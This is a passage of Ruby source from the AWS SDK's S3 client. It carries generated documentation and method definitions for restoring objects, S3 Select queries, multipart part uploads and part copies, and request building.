# quote_fields: "ALWAYS", # accepts ALWAYS, ASNEEDED
# quote_escape_character: "QuoteEscapeCharacter",
# record_delimiter: "RecordDelimiter",
# field_delimiter: "FieldDelimiter",
# quote_character: "QuoteCharacter",
# },
# json: {
# record_delimiter: "RecordDelimiter",
# },
# },
# },
# output_location: {
# s3: {
# bucket_name: "BucketName", # required
# prefix: "LocationPrefix", # required
# encryption: {
# encryption_type: "AES256", # required, accepts AES256, aws:kms
# kms_key_id: "SSEKMSKeyId",
# kms_context: "KMSContext",
# },
# canned_acl: "private", # accepts private, public-read, public-read-write, authenticated-read, aws-exec-read, bucket-owner-read, bucket-owner-full-control
# access_control_list: [
# {
# grantee: {
# display_name: "DisplayName",
# email_address: "EmailAddress",
# id: "ID",
# type: "CanonicalUser", # required, accepts CanonicalUser, AmazonCustomerByEmail, Group
# uri: "URI",
# },
# permission: "FULL_CONTROL", # accepts FULL_CONTROL, WRITE, WRITE_ACP, READ, READ_ACP
# },
# ],
# tagging: {
# tag_set: [ # required
# {
# key: "ObjectKey", # required
# value: "Value", # required
# },
# ],
# },
# user_metadata: [
# {
# name: "MetadataKey",
# value: "MetadataValue",
# },
# ],
# storage_class: "STANDARD", # accepts STANDARD, REDUCED_REDUNDANCY, STANDARD_IA, ONEZONE_IA, INTELLIGENT_TIERING, GLACIER, DEEP_ARCHIVE
# },
# },
# },
# request_payer: "requester", # accepts requester
# })
#
# @example Response structure
#
# resp.request_charged #=> String, one of "requester"
# resp.restore_output_path #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/RestoreObject AWS API Documentation
#
# @overload restore_object(params = {})
# @param [Hash] params ({})
def restore_object(params = {}, options = {})
req = build_request(:restore_object, params)
req.send_request(options)
end
# This operation filters the contents of an Amazon S3 object based on a
# simple structured query language (SQL) statement. In the request,
# along with the SQL expression, you must also specify a data
# serialization format (JSON, CSV, or Apache Parquet) of the object.
# Amazon S3 uses this format to parse object data into records, and
# returns only records that match the specified SQL expression. You must
# also specify the data serialization format for the response.
#
# For more information about Amazon S3 Select, see [Selecting Content
# from Objects][1] in the *Amazon Simple Storage Service Developer
# Guide*.
#
# For more information about using SQL with Amazon S3 Select, see [ SQL
# Reference for Amazon S3 Select and S3 Glacier Select][2] in the
# *Amazon Simple Storage Service Developer Guide*.
#
#
#
# **Permissions**
#
# You must have `s3:GetObject` permission for this operation. Amazon S3
# Select does not support anonymous access. For more information about
# permissions, see [Specifying Permissions in a Policy][3] in the
# *Amazon Simple Storage Service Developer Guide*.
#
#
#
# *Object Data Formats*
#
# You can use Amazon S3 Select to query objects that have the following
# format properties:
#
# * *CSV, JSON, and Parquet* - Objects must be in CSV, JSON, or Parquet
# format.
#
# * *UTF-8* - UTF-8 is the only encoding type Amazon S3 Select supports.
#
# * *GZIP or BZIP2* - CSV and JSON files can be compressed using GZIP or
# BZIP2. GZIP and BZIP2 are the only compression formats that Amazon
# S3 Select supports for CSV and JSON files. Amazon S3 Select supports
# columnar compression for Parquet using GZIP or Snappy. Amazon S3
# Select does not support whole-object compression for Parquet
# objects.
#
# * *Server-side encryption* - Amazon S3 Select supports querying
# objects that are protected with server-side encryption.
#
# For objects that are encrypted with customer-provided encryption
# keys (SSE-C), you must use HTTPS, and you must use the headers that
# are documented in the GetObject. For more information about SSE-C,
# see [Server-Side Encryption (Using Customer-Provided Encryption
# Keys)][4] in the *Amazon Simple Storage Service Developer Guide*.
#
# For objects that are encrypted with Amazon S3 managed encryption
# keys (SSE-S3) and customer master keys (CMKs) stored in AWS Key
# Management Service (SSE-KMS), server-side encryption is handled
# transparently, so you don't need to specify anything. For more
# information about server-side encryption, including SSE-S3 and
# SSE-KMS, see [Protecting Data Using Server-Side Encryption][5] in
# the *Amazon Simple Storage Service Developer Guide*.
#
# **Working with the Response Body**
#
# Given the response size is unknown, Amazon S3 Select streams the
# response as a series of messages and includes a `Transfer-Encoding`
# header with `chunked` as its value in the response. For more
# information, see RESTSelectObjectAppendix .
#
#
#
# **GetObject Support**
#
# The `SelectObjectContent` operation does not support the following
# `GetObject` functionality. For more information, see GetObject.
#
# * `Range`\: Although you can specify a scan range for an Amazon S3
# Select request (see SelectObjectContentRequest$ScanRange in the
# request parameters), you cannot specify the range of bytes of an
# object to return.
#
# * GLACIER, DEEP\_ARCHIVE and REDUCED\_REDUNDANCY storage classes: You
# cannot specify the GLACIER, DEEP\_ARCHIVE, or `REDUCED_REDUNDANCY`
# storage classes. For more information, about storage classes see
# [Storage Classes][6] in the *Amazon Simple Storage Service Developer
# Guide*.
#
#
#
# **Special Errors**
#
# For a list of special errors for this operation, see
# SelectObjectContentErrorCodeList
#
# **Related Resources**
#
# * GetObject
#
# * GetBucketLifecycleConfiguration
#
# * PutBucketLifecycleConfiguration
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/selecting-content-from-objects.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-glacier-select-sql-reference.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html
# [4]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ServerSideEncryptionCustomerKeys.html
# [5]: https://docs.aws.amazon.com/AmazonS3/latest/dev/serv-side-encryption.html
# [6]: https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingMetadata.html#storage-class-intro
#
# @option params [required, String] :bucket
# The S3 bucket.
#
# @option params [required, String] :key
# The object key.
#
# @option params [String] :sse_customer_algorithm
# The SSE Algorithm used to encrypt the object. For more information,
# see [Server-Side Encryption (Using Customer-Provided Encryption
# Keys][1].
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ServerSideEncryptionCustomerKeys.html
#
# @option params [String] :sse_customer_key
# The SSE Customer Key. For more information, see [Server-Side
# Encryption (Using Customer-Provided Encryption Keys][1].
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ServerSideEncryptionCustomerKeys.html
#
# @option params [String] :sse_customer_key_md5
# The SSE Customer Key MD5. For more information, see [Server-Side
# Encryption (Using Customer-Provided Encryption Keys][1].
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ServerSideEncryptionCustomerKeys.html
#
# @option params [required, String] :expression
# The expression that is used to query the object.
#
# @option params [required, String] :expression_type
# The type of the provided expression (for example, SQL).
#
# @option params [Types::RequestProgress] :request_progress
# Specifies if periodic request progress information should be enabled.
#
# @option params [required, Types::InputSerialization] :input_serialization
# Describes the format of the data in the object that is being queried.
#
# @option params [required, Types::OutputSerialization] :output_serialization
# Describes the format of the data that you want Amazon S3 to return in
# response.
#
# @option params [Types::ScanRange] :scan_range
# Specifies the byte range of the object to get the records from. A
# record is processed when its first byte is contained by the range.
# This parameter is optional, but when specified, it must not be empty.
# See RFC 2616, Section 14.35.1 about how to specify the start and end
# of the range.
#
# `ScanRange`may be used in the following ways:
#
# * `<scanrange><start>50</start><end>100</end></scanrange>` - process
# only the records starting between the bytes 50 and 100 (inclusive,
# counting from zero)
#
# * `<scanrange><start>50</start></scanrange>` - process only the
# records starting after the byte 50
#
# * `<scanrange><end>50</end></scanrange>` - process only the records
# within the last 50 bytes of the file.
#
# @return [Types::SelectObjectContentOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::SelectObjectContentOutput#payload #payload} => Types::SelectObjectContentEventStream
#
# @example EventStream Operation Example
#
# You can process event once it arrives immediately, or wait until
# full response complete and iterate through eventstream enumerator.
#
# To interact with event immediately, you need to register #select_object_content
# with callbacks, callbacks can be register for specifc events or for all events,
# callback for errors in the event stream is also available for register.
#
# Callbacks can be passed in by `:event_stream_handler` option or within block
# statement attached to #select_object_content call directly. Hybrid pattern of both
# is also supported.
#
# `:event_stream_handler` option takes in either Proc object or
# Aws::S3::EventStreams::SelectObjectContentEventStream object.
#
# Usage pattern a): callbacks with a block attached to #select_object_content
# Example for registering callbacks for all event types and error event
#
# client.select_object_content( # params input# ) do |stream|
# stream.on_error_event do |event|
# # catch unmodeled error event in the stream
# raise event
# # => Aws::Errors::EventError
# # event.event_type => :error
# # event.error_code => String
# # event.error_message => String
# end
#
# stream.on_event do |event|
# # process all events arrive
# puts event.event_type
# ...
# end
#
# end
#
# Usage pattern b): pass in `:event_stream_handler` for #select_object_content
#
# 1) create a Aws::S3::EventStreams::SelectObjectContentEventStream object
# Example for registering callbacks with specific events
#
# handler = Aws::S3::EventStreams::SelectObjectContentEventStream.new
# handler.on_records_event do |event|
# event # => Aws::S3::Types::Records
# end
# handler.on_stats_event do |event|
# event # => Aws::S3::Types::Stats
# end
# handler.on_progress_event do |event|
# event # => Aws::S3::Types::Progress
# end
# handler.on_cont_event do |event|
# event # => Aws::S3::Types::Cont
# end
# handler.on_end_event do |event|
# event # => Aws::S3::Types::End
# end
#
# client.select_object_content( # params input #, event_stream_handler: handler)
#
# 2) use a Ruby Proc object
# Example for registering callbacks with specific events
#
# handler = Proc.new do |stream|
# stream.on_records_event do |event|
# event # => Aws::S3::Types::Records
# end
# stream.on_stats_event do |event|
# event # => Aws::S3::Types::Stats
# end
# stream.on_progress_event do |event|
# event # => Aws::S3::Types::Progress
# end
# stream.on_cont_event do |event|
# event # => Aws::S3::Types::Cont
# end
# stream.on_end_event do |event|
# event # => Aws::S3::Types::End
# end
# end
#
# client.select_object_content( # params input #, event_stream_handler: handler)
#
# Usage pattern c): hybird pattern of a) and b)
#
# handler = Aws::S3::EventStreams::SelectObjectContentEventStream.new
# handler.on_records_event do |event|
# event # => Aws::S3::Types::Records
# end
# handler.on_stats_event do |event|
# event # => Aws::S3::Types::Stats
# end
# handler.on_progress_event do |event|
# event # => Aws::S3::Types::Progress
# end
# handler.on_cont_event do |event|
# event # => Aws::S3::Types::Cont
# end
# handler.on_end_event do |event|
# event # => Aws::S3::Types::End
# end
#
# client.select_object_content( # params input #, event_stream_handler: handler) do |stream|
# stream.on_error_event do |event|
# # catch unmodeled error event in the stream
# raise event
# # => Aws::Errors::EventError
# # event.event_type => :error
# # event.error_code => String
# # event.error_message => String
# end
# end
#
# Besides above usage patterns for process events when they arrive immediately, you can also
# iterate through events after response complete.
#
# Events are available at resp.payload # => Enumerator
# For parameter input example, please refer to following request syntax
#
# @example Request syntax with placeholder values
#
# resp = client.select_object_content({
# bucket: "BucketName", # required
# key: "ObjectKey", # required
# sse_customer_algorithm: "SSECustomerAlgorithm",
# sse_customer_key: "SSECustomerKey",
# sse_customer_key_md5: "SSECustomerKeyMD5",
# expression: "Expression", # required
# expression_type: "SQL", # required, accepts SQL
# request_progress: {
# enabled: false,
# },
# input_serialization: { # required
# csv: {
# file_header_info: "USE", # accepts USE, IGNORE, NONE
# comments: "Comments",
# quote_escape_character: "QuoteEscapeCharacter",
# record_delimiter: "RecordDelimiter",
# field_delimiter: "FieldDelimiter",
# quote_character: "QuoteCharacter",
# allow_quoted_record_delimiter: false,
# },
# compression_type: "NONE", # accepts NONE, GZIP, BZIP2
# json: {
# type: "DOCUMENT", # accepts DOCUMENT, LINES
# },
# parquet: {
# },
# },
# output_serialization: { # required
# csv: {
# quote_fields: "ALWAYS", # accepts ALWAYS, ASNEEDED
# quote_escape_character: "QuoteEscapeCharacter",
# record_delimiter: "RecordDelimiter",
# field_delimiter: "FieldDelimiter",
# quote_character: "QuoteCharacter",
# },
# json: {
# record_delimiter: "RecordDelimiter",
# },
# },
# scan_range: {
# start: 1,
# end: 1,
# },
# })
#
# @example Response structure
#
# All events are available at resp.payload:
# resp.payload #=> Enumerator
# resp.payload.event_types #=> [:records, :stats, :progress, :cont, :end]
#
# For :records event available at #on_records_event callback and response eventstream enumerator:
# event.payload #=> IO
#
# For :stats event available at #on_stats_event callback and response eventstream enumerator:
# event.details.bytes_scanned #=> Integer
# event.details.bytes_processed #=> Integer
# event.details.bytes_returned #=> Integer
#
# For :progress event available at #on_progress_event callback and response eventstream enumerator:
# event.details.bytes_scanned #=> Integer
# event.details.bytes_processed #=> Integer
# event.details.bytes_returned #=> Integer
#
# For :cont event available at #on_cont_event callback and response eventstream enumerator:
# #=> EmptyStruct
# For :end event available at #on_end_event callback and response eventstream enumerator:
# #=> EmptyStruct
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/SelectObjectContent AWS API Documentation
#
# @overload select_object_content(params = {})
# @param [Hash] params ({})
def select_object_content(params = {}, options = {}, &block)
params = params.dup
event_stream_handler = case handler = params.delete(:event_stream_handler)
when EventStreams::SelectObjectContentEventStream then handler
when Proc then EventStreams::SelectObjectContentEventStream.new.tap(&handler)
when nil then EventStreams::SelectObjectContentEventStream.new
else
msg = "expected :event_stream_handler to be a block or "\
"instance of Aws::S3::EventStreams::SelectObjectContentEventStream"\
", got `#{handler.inspect}` instead"
raise ArgumentError, msg
end
yield(event_stream_handler) if block_given?
req = build_request(:select_object_content, params)
req.context[:event_stream_handler] = event_stream_handler
req.handlers.add(Aws::Binary::DecodeHandler, priority: 95)
req.send_request(options, &block)
end
# Uploads a part in a multipart upload.
#
# <note markdown="1"> In this operation, you provide part data in your request. However, you
# have an option to specify your existing Amazon S3 object as a data
# source for the part you are uploading. To upload a part from an
# existing object, you use the UploadPartCopy operation.
#
# </note>
#
# You must initiate a multipart upload (see CreateMultipartUpload)
# before you can upload any part. In response to your initiate request,
# Amazon S3 returns an upload ID, a unique identifier, that you must
# include in your upload part request.
#
# Part numbers can be any number from 1 to 10,000, inclusive. A part
# number uniquely identifies a part and also defines its position within
# the object being created. If you upload a new part using the same part
# number that was used with a previous part, the previously uploaded
# part is overwritten. Each part must be at least 5 MB in size, except
# the last part. There is no size limit on the last part of your
# multipart upload.
#
# To ensure that data is not corrupted when traversing the network,
# specify the `Content-MD5` header in the upload part request. Amazon S3
# checks the part data against the provided MD5 value. If they do not
# match, Amazon S3 returns an error.
#
# **Note:** After you initiate multipart upload and upload one or more
# parts, you must either complete or abort multipart upload in order to
# stop getting charged for storage of the uploaded parts. Only after you
# either complete or abort multipart upload, Amazon S3 frees up the
# parts storage and stops charging you for the parts storage.
#
# For more information on multipart uploads, go to [Multipart Upload
# Overview][1] in the <i>Amazon Simple Storage Service Developer Guide
# </i>.
#
# For information on the permissions required to use the multipart
# upload API, go to [Multipart Upload API and Permissions][2] in the
# *Amazon Simple Storage Service Developer Guide*.
#
# You can optionally request server-side encryption where Amazon S3
# encrypts your data as it writes it to disks in its data centers and
# decrypts it for you when you access it. You have the option of
# providing your own encryption key, or you can use the AWS managed
# encryption keys. If you choose to provide your own encryption key, the
# request headers you provide in the request must match the headers you
# used in the request to initiate the upload by using
# CreateMultipartUpload. For more information, go to [Using Server-Side
# Encryption][3] in the *Amazon Simple Storage Service Developer Guide*.
#
# Server-side encryption is supported by the S3 Multipart Upload
# actions. Unless you are using a customer-provided encryption key, you
# don't need to specify the encryption parameters in each UploadPart
# request. Instead, you only need to specify the server-side encryption
# parameters in the initial Initiate Multipart request. For more
# information, see CreateMultipartUpload.
#
# If you requested server-side encryption using a customer-provided
# encryption key in your initiate multipart upload request, you must
# provide identical encryption information in each part upload using the
# following headers.
#
# * x-amz-server-side-encryption-customer-algorithm
#
# * x-amz-server-side-encryption-customer-key
#
# * x-amz-server-side-encryption-customer-key-MD5
#
# **Special Errors**
#
# * ****
#
# * *Code: NoSuchUpload*
#
# * *Cause: The specified multipart upload does not exist. The upload
# ID might be invalid, or the multipart upload might have been
# aborted or completed.*
#
# * <i> HTTP Status Code: 404 Not Found </i>
#
# * *SOAP Fault Code Prefix: Client*
#
# **Related Resources**
#
# * CreateMultipartUpload
#
# * CompleteMultipartUpload
#
# * AbortMultipartUpload
#
# * ListParts
#
# * ListMultipartUploads
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/mpuoverview.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/mpuAndPermissions.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/UsingServerSideEncryption.html
#
# @option params [String, IO] :body
# Object data.
#
# @option params [required, String] :bucket
# Name of the bucket to which the multipart upload was initiated.
#
# @option params [Integer] :content_length
# Size of the body in bytes. This parameter is useful when the size of
# the body cannot be determined automatically.
#
# @option params [String] :content_md5
# The base64-encoded 128-bit MD5 digest of the part data. This parameter
# is auto-populated when using the command from the CLI. This parameter
# is required if object lock parameters are specified.
#
# @option params [required, String] :key
# Object key for which the multipart upload was initiated.
#
# @option params [required, Integer] :part_number
# Part number of part being uploaded. This is a positive integer between
# 1 and 10,000.
#
# @option params [required, String] :upload_id
# Upload ID identifying the multipart upload whose part is being
# uploaded.
#
# @option params [String] :sse_customer_algorithm
# Specifies the algorithm to use to when encrypting the object (for
# example, AES256).
#
# @option params [String] :sse_customer_key
# Specifies the customer-provided encryption key for Amazon S3 to use in
# encrypting data. This value is used to store the object and then it is
# discarded; Amazon S3 does not store the encryption key. The key must
# be appropriate for use with the algorithm specified in the
# `x-amz-server-side-encryption-customer-algorithm header`. This must
# be the same encryption key specified in the initiate multipart upload
# request.
#
# @option params [String] :sse_customer_key_md5
# Specifies the 128-bit MD5 digest of the encryption key according to
# RFC 1321. Amazon S3 uses this header for a message integrity check to
# ensure that the encryption key was transmitted without error.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @return [Types::UploadPartOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UploadPartOutput#server_side_encryption #server_side_encryption} => String
# * {Types::UploadPartOutput#etag #etag} => String
# * {Types::UploadPartOutput#sse_customer_algorithm #sse_customer_algorithm} => String
# * {Types::UploadPartOutput#sse_customer_key_md5 #sse_customer_key_md5} => String
# * {Types::UploadPartOutput#ssekms_key_id #ssekms_key_id} => String
# * {Types::UploadPartOutput#request_charged #request_charged} => String
#
#
# @example Example: To upload a part
#
# # The following example uploads part 1 of a multipart upload. The example specifies a file name for the part data. The
# # Upload ID is same that is returned by the initiate multipart upload.
#
# resp = client.upload_part({
# body: "fileToUpload",
# bucket: "examplebucket",
# key: "examplelargeobject",
# part_number: 1,
# upload_id: "xadcOB_7YPBOJuoFiQ9cz4P3Pe6FIZwO4f7wN93uHsNBEw97pl5eNwzExg0LAT2dUN91cOmrEQHDsP3WA60CEg--",
# })
#
# resp.to_h outputs the following:
# {
# etag: "\"d8c2eafd90c266e19ab9dcacc479f8af\"",
# }
#
# @example Request syntax with placeholder values
#
# resp = client.upload_part({
# body: source_file,
# bucket: "BucketName", # required
# content_length: 1,
# content_md5: "ContentMD5",
# key: "ObjectKey", # required
# part_number: 1, # required
# upload_id: "MultipartUploadId", # required
# sse_customer_algorithm: "SSECustomerAlgorithm",
# sse_customer_key: "SSECustomerKey",
# sse_customer_key_md5: "SSECustomerKeyMD5",
# request_payer: "requester", # accepts requester
# })
#
# @example Response structure
#
# resp.server_side_encryption #=> String, one of "AES256", "aws:kms"
# resp.etag #=> String
# resp.sse_customer_algorithm #=> String
# resp.sse_customer_key_md5 #=> String
# resp.ssekms_key_id #=> String
# resp.request_charged #=> String, one of "requester"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/UploadPart AWS API Documentation
#
# @overload upload_part(params = {})
# @param [Hash] params ({})
def upload_part(params = {}, options = {})
req = build_request(:upload_part, params)
req.send_request(options)
end
# Uploads a part by copying data from an existing object as data source.
# You specify the data source by adding the request header
# `x-amz-copy-source` in your request and a byte range by adding the
# request header `x-amz-copy-source-range` in your request.
#
# The minimum allowable part size for a multipart upload is 5 MB. For
# more information about multipart upload limits, go to [Quick Facts][1]
# in the *Amazon Simple Storage Service Developer Guide*.
#
# <note markdown="1"> Instead of using an existing object as part data, you might use the
# UploadPart operation and provide data in your request.
#
# </note>
#
# You must initiate a multipart upload before you can upload any part.
# In response to your initiate request. Amazon S3 returns a unique
# identifier, the upload ID, that you must include in your upload part
# request.
#
# For more information about using the `UploadPartCopy` operation, see
# the following:
#
# * For conceptual information about multipart uploads, see [Uploading
# Objects Using Multipart Upload][2] in the *Amazon Simple Storage
# Service Developer Guide*.
#
# * For information about permissions required to use the multipart
# upload API, see [Multipart Upload API and Permissions][3] in the
# *Amazon Simple Storage Service Developer Guide*.
#
# * For information about copying objects using a single atomic
# operation vs. the multipart upload, see [Operations on Objects][4]
# in the *Amazon Simple Storage Service Developer Guide*.
#
# * For information about using server-side encryption with
# customer-provided encryption keys with the UploadPartCopy operation,
# see CopyObject and UploadPart.
#
# Note the following additional considerations about the request headers
# `x-amz-copy-source-if-match`, `x-amz-copy-source-if-none-match`,
# `x-amz-copy-source-if-unmodified-since`, and
# `x-amz-copy-source-if-modified-since`\:
#
#
#
# * **Consideration 1** - If both of the `x-amz-copy-source-if-match`
# and `x-amz-copy-source-if-unmodified-since` headers are present in
# the request as follows:
#
# `x-amz-copy-source-if-match` condition evaluates to `true`, and;
#
# `x-amz-copy-source-if-unmodified-since` condition evaluates to
# `false`;
#
# Amazon S3 returns `200 OK` and copies the data.
#
# * **Consideration 2** - If both of the
# `x-amz-copy-source-if-none-match` and
# `x-amz-copy-source-if-modified-since` headers are present in the
# request as follows:
#
# `x-amz-copy-source-if-none-match` condition evaluates to `false`,
# and;
#
# `x-amz-copy-source-if-modified-since` condition evaluates to `true`;
#
# Amazon S3 returns `412 Precondition Failed` response code.
#
# **Versioning**
#
# If your bucket has versioning enabled, you could have multiple
# versions of the same object. By default, `x-amz-copy-source`
# identifies the current version of the object to copy. If the current
# version is a delete marker and you don't specify a versionId in the
# `x-amz-copy-source`, Amazon S3 returns a 404 error, because the object
# does not exist. If you specify versionId in the `x-amz-copy-source`
# and the versionId is a delete marker, Amazon S3 returns an HTTP 400
# error, because you are not allowed to specify a delete marker as a
# version for the `x-amz-copy-source`.
#
# You can optionally specify a specific version of the source object to
# copy by adding the `versionId` subresource as shown in the following
# example:
#
# `x-amz-copy-source: /bucket/object?versionId=version id`
#
# **Special Errors**
#
# * ****
#
# * *Code: NoSuchUpload*
#
# * *Cause: The specified multipart upload does not exist. The upload
# ID might be invalid, or the multipart upload might have been
# aborted or completed.*
#
# * *HTTP Status Code: 404 Not Found*
#
# * ****
#
# * *Code: InvalidRequest*
#
# * *Cause: The specified copy source is not supported as a byte-range
# copy source.*
#
# * *HTTP Status Code: 400 Bad Request*
#
# **Related Resources**
#
# * CreateMultipartUpload
#
# * UploadPart
#
# * CompleteMultipartUpload
#
# * AbortMultipartUpload
#
# * ListParts
#
# * ListMultipartUploads
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/qfacts.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/uploadobjusingmpu.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/mpuAndPermissions.html
# [4]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectOperations.html
#
# @option params [required, String] :bucket
# The bucket name.
#
# @option params [required, String] :copy_source
# The name of the source bucket and key name of the source object,
# separated by a slash (/). Must be URL-encoded.
#
# @option params [String] :copy_source_if_match
# Copies the object if its entity tag (ETag) matches the specified tag.
#
# @option params [Time,DateTime,Date,Integer,String] :copy_source_if_modified_since
# Copies the object if it has been modified since the specified time.
#
# @option params [String] :copy_source_if_none_match
# Copies the object if its entity tag (ETag) is different than the
# specified ETag.
#
# @option params [Time,DateTime,Date,Integer,String] :copy_source_if_unmodified_since
# Copies the object if it hasn't been modified since the specified
# time.
#
# @option params [String] :copy_source_range
# The range of bytes to copy from the source object. The range value
# must use the form bytes=first-last, where the first and last are the
# zero-based byte offsets to copy. For example, bytes=0-9 indicates that
# you want to copy the first 10 bytes of the source. You can copy a
# range only if the source object is greater than 5 MB.
#
# @option params [required, String] :key
# Object key for which the multipart upload was initiated.
#
# @option params [required, Integer] :part_number
# Part number of part being copied. This is a positive integer between 1
# and 10,000.
#
# @option params [required, String] :upload_id
# Upload ID identifying the multipart upload whose part is being copied.
#
# @option params [String] :sse_customer_algorithm
# Specifies the algorithm to use to when encrypting the object (for
# example, AES256).
#
# @option params [String] :sse_customer_key
# Specifies the customer-provided encryption key for Amazon S3 to use in
# encrypting data. This value is used to store the object and then it is
# discarded; Amazon S3 does not store the encryption key. The key must
# be appropriate for use with the algorithm specified in the
# `x-amz-server-side-encryption-customer-algorithm` header. This must
# be the same encryption key specified in the initiate multipart upload
# request.
#
# @option params [String] :sse_customer_key_md5
# Specifies the 128-bit MD5 digest of the encryption key according to
# RFC 1321. Amazon S3 uses this header for a message integrity check to
# ensure that the encryption key was transmitted without error.
#
# @option params [String] :copy_source_sse_customer_algorithm
# Specifies the algorithm to use when decrypting the source object (for
# example, AES256).
#
# @option params [String] :copy_source_sse_customer_key
# Specifies the customer-provided encryption key for Amazon S3 to use to
# decrypt the source object. The encryption key provided in this header
# must be one that was used when the source object was created.
#
# @option params [String] :copy_source_sse_customer_key_md5
# Specifies the 128-bit MD5 digest of the encryption key according to
# RFC 1321. Amazon S3 uses this header for a message integrity check to
# ensure that the encryption key was transmitted without error.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @return [Types::UploadPartCopyOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::UploadPartCopyOutput#copy_source_version_id #copy_source_version_id} => String
# * {Types::UploadPartCopyOutput#copy_part_result #copy_part_result} => Types::CopyPartResult
# * {Types::UploadPartCopyOutput#server_side_encryption #server_side_encryption} => String
# * {Types::UploadPartCopyOutput#sse_customer_algorithm #sse_customer_algorithm} => String
# * {Types::UploadPartCopyOutput#sse_customer_key_md5 #sse_customer_key_md5} => String
# * {Types::UploadPartCopyOutput#ssekms_key_id #ssekms_key_id} => String
# * {Types::UploadPartCopyOutput#request_charged #request_charged} => String
#
#
# @example Example: To upload a part by copying data from an existing object as data source
#
# # The following example uploads a part of a multipart upload by copying data from an existing object as data source.
#
# resp = client.upload_part_copy({
# bucket: "examplebucket",
# copy_source: "/bucketname/sourceobjectkey",
# key: "examplelargeobject",
# part_number: 1,
# upload_id: "exampleuoh_10OhKhT7YukE9bjzTPRiuaCotmZM_pFngJFir9OZNrSr5cWa3cq3LZSUsfjI4FI7PkP91We7Nrw--",
# })
#
# resp.to_h outputs the following:
# {
# copy_part_result: {
# etag: "\"b0c6f0e7e054ab8fa2536a2677f8734d\"",
# last_modified: Time.parse("2016-12-29T21:24:43.000Z"),
# },
# }
#
# @example Example: To upload a part by copying byte range from an existing object as data source
#
# # The following example uploads a part of a multipart upload by copying a specified byte range from an existing object as
# # data source.
#
# resp = client.upload_part_copy({
# bucket: "examplebucket",
# copy_source: "/bucketname/sourceobjectkey",
# copy_source_range: "bytes=1-100000",
# key: "examplelargeobject",
# part_number: 2,
# upload_id: "exampleuoh_10OhKhT7YukE9bjzTPRiuaCotmZM_pFngJFir9OZNrSr5cWa3cq3LZSUsfjI4FI7PkP91We7Nrw--",
# })
#
# resp.to_h outputs the following:
# {
# copy_part_result: {
# etag: "\"65d16d19e65a7508a51f043180edcc36\"",
# last_modified: Time.parse("2016-12-29T21:44:28.000Z"),
# },
# }
#
# @example Request syntax with placeholder values
#
# resp = client.upload_part_copy({
# bucket: "BucketName", # required
# copy_source: "CopySource", # required
# copy_source_if_match: "CopySourceIfMatch",
# copy_source_if_modified_since: Time.now,
# copy_source_if_none_match: "CopySourceIfNoneMatch",
# copy_source_if_unmodified_since: Time.now,
# copy_source_range: "CopySourceRange",
# key: "ObjectKey", # required
# part_number: 1, # required
# upload_id: "MultipartUploadId", # required
# sse_customer_algorithm: "SSECustomerAlgorithm",
# sse_customer_key: "SSECustomerKey",
# sse_customer_key_md5: "SSECustomerKeyMD5",
# copy_source_sse_customer_algorithm: "CopySourceSSECustomerAlgorithm",
# copy_source_sse_customer_key: "CopySourceSSECustomerKey",
# copy_source_sse_customer_key_md5: "CopySourceSSECustomerKeyMD5",
# request_payer: "requester", # accepts requester
# })
#
# @example Response structure
#
# resp.copy_source_version_id #=> String
# resp.copy_part_result.etag #=> String
# resp.copy_part_result.last_modified #=> Time
# resp.server_side_encryption #=> String, one of "AES256", "aws:kms"
# resp.sse_customer_algorithm #=> String
# resp.sse_customer_key_md5 #=> String
# resp.ssekms_key_id #=> String
# resp.request_charged #=> String, one of "requester"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/UploadPartCopy AWS API Documentation
#
# @overload upload_part_copy(params = {})
# @param [Hash] params ({})
def upload_part_copy(params = {}, options = {})
req = build_request(:upload_part_copy, params)
req.send_request(options)
end
# @!endgroup
# @param params ({})
# @api private
def build_request(operation_name, params = {})
handlers = @handlers.for(operation_name)
context = Seahorse::Client::RequestContext.new(
operation_name: operation_name,
operation: config.api.operation(operation_name),
client: self,
params: params,
config: config)
context[:gem_name] = 'aws-sdk-s3'
context[:gem_version] = '1.68.1'
Seahorse::Client::Request.new(handlers, context)
end
# Polls an API operation until a resource enters a desired state.
#
# ## Basic Usage
#
# A waiter will call an API operation until:
#
# * It is successful
# * It enters a terminal state
# * It makes the maximum number of attempts
#
# In between attempts, the waiter will sleep.
#
# # polls in a loop, sleeping between attempts
# client.wait_until(waiter_name, params)
#
# ## Configuration
#
# You can configure the maximum number of polling attempts, and the
# delay (in seconds) between each polling attempt. You can pass
